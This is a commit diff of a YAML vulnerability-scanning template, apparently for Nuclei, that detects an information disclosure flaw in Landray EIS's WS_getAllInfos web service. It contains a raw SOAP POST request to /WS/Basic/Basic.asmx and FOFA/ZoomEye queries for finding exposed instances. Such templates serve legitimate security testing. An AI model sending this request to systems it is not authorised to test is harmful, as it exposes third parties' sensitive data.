Update and rename landray-eis-ws-getallinfos-disclosure.yaml to landray-eis-ws-infoleak.yaml

patch-1
Dhiyaneshwaran 2024-03-12 11:29:12 +05:30 committed by GitHub
parent 2ff9959113
commit e3acf5bc9f
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 9 additions and 5 deletions

View File

@ -1,23 +1,27 @@
id: landray-eis-WSgetAllInfos-disclosure
id: landray-eis-ws-infoleak
info:
name: Landray EIS WS_getAllInfos Disclosure
name: Landray EIS WS_getAllInfos - Information Disclosure
author: Fur1na
severity: high
description: Landray EIS WS_getAllInfos interface suffers from a sensitive information disclosure vulnerability.
description: |
Landray EIS WS_getAllInfos interface suffers from a sensitive information disclosure vulnerability.
reference:
- https://mp.weixin.qq.com/s/CTLyriSSF-nQ8SUFv4RX0A
- https://github.com/akyosk/pocman/blob/main/cve/Lanling/Lanling_Info.py
metadata:
verified: true
max-request: 1
zoomeye-query: app:"蓝凌EIS智慧协同平台"
tags: landray,disclosure
fofa-query: app="Landray-EIS智慧协同平台"
tags: landray,eis,info-leak
http:
- raw:
- |
POST /WS/Basic/Basic.asmx HTTP/1.1
Content-Type: text/xml
Host: {{Hostname}}
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
@ -44,4 +48,4 @@ http:
- type: status
status:
- 200
- 200